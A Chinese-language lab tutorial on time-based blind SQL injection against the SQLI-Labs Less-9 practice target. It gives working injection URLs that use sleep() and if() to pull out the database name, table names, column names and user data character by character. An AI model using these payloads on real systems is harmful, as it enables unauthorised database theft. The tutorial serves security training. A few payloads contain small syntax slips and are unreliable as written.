首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【Less-9】基于SQLI的SQL时间盲注

【Less-9】基于SQLI的SQL时间盲注

作者头像
未名编程
发布2024-10-12 19:45:16
发布2024-10-12 19:45:16
25000
代码可运行
举报
文章被收录于专栏:PythonPython
运行总次数:0
代码可运行

实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

【实验目的】

通过本实验理解SQL时间盲注漏洞的定义方法,掌握基于SQL时间盲注的手工注入方法,熟悉SQL时间盲注存在的原因,掌握SQL时间盲注的防护方法。

【实验环境】

渗透主机:Kali平台

目标靶机:SQLI平台Less-9科目

【实验原理】

1.为什么使用延时注入

(1)部分网站没办法 union select 联合查询方式注入

(2)部分网站没有输出显示,只能通过延时判断;

2.时间盲注的SQL语句原理

(1)sleep(n)语句:使数据库在暂停n秒之后再将搜索结果输出;

(2)if((条件),m,n)语句:若条件为真,返回m;若条件为假,返回n;

3.时间盲注常用函数

length(database())语句:返回当前数据库名长度。

mid(database(),m,n):返回数据库名的第m位之后的n位。

【实验步骤】

第一步 登录SQLI-Labs平台
第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-9

在浏览器地址栏中输入http://【靶机IP】/Less-9/,访问SQLI-Labs的less-9。

第三步 判断注入点与注入类型

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

代码语言:javascript
代码运行次数:0
运行
复制
(1)http://【靶机IP】/Less-9/?id=1' and length(database())>0 %23

或

http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+

页面正常,没有反应

代码语言:javascript
代码运行次数:0
运行
复制
(2)http://【靶机IP】/Less-9/?id=1' and length(database())<0 %23

或

http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+

页面正常,没有反应

同样id=1’或id=1"的结果仍然与正常访问一致。

(2)采用sleep()函数进行测试

代码语言:javascript
代码运行次数:0
运行
复制
http://【靶机IP】/Less-9/?id=1' and sleep(10) %23

或

http://【靶机IP】/Less-9/?id=1' and sleep(10) --+

响应明显变缓慢,响应速度如下:

对比没有使用sleep()函数时的状态如下:

得出结论:存在时间盲注。

下面基于时间盲注进行数据库信息获取:

第四步 获取数据库名的长度
代码语言:javascript
代码运行次数:0
运行
复制
http://【靶机IP】/Less-9/?id=1' and if((length(database())=8),1,sleep(5)) --+
代码语言:javascript
代码运行次数:0
运行
复制
http://【靶机IP】/Less-9/?id=1' and if((length(database())=7),1,sleep(5))
--+

得出结论:数据库名长度为8。

第五步 探测数据库其他信息

(1)判断数据库名

代码语言:javascript
代码运行次数:0
运行
复制
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),1,1)=115,1,sleep(5)) --+

数据库名的第一个字母为s(ascii为115),判断成功直接返回,判断错误的话是暂停5秒。

(2)获取表

代码语言:javascript
代码运行次数:0
运行
复制
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+

然后

代码语言:javascript
代码运行次数:0
运行
复制
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+ 

email表的第一个字母为e(ascii为101),判断成功直接返回,判断错误的话是暂停5秒。

以此类推,我们可以得到所有的数据表:emails,referers,uagents,users

(3)获取列

代码语言:javascript
代码运行次数:0
运行
复制
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+ 

猜测users表的第一个列的第一个字符是i。

以此类推,我们得到列名是id,username,password

(4)获取列值

代码语言:javascript
代码运行次数:0
运行
复制
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) --+

猜测username的第一行的第一位为D。

按照这种思路依次来获取全部数据库信息。

【思考与总结】

通过本次实验,成功实现了利用SQL时间盲注漏洞获取了数据库的表单信息,掌握了SQL时间盲注漏洞的手工攻击方法,在此基础上可以深入理解对其的防护策略。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-10-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 【实验目的】
  • 【实验环境】
  • 【实验原理】
  • 【实验步骤】
    • 第一步 登录SQLI-Labs平台
    • 第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-9
    • 第三步 判断注入点与注入类型
    • 第四步 获取数据库名的长度
    • 第五步 探测数据库其他信息
  • 【思考与总结】
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档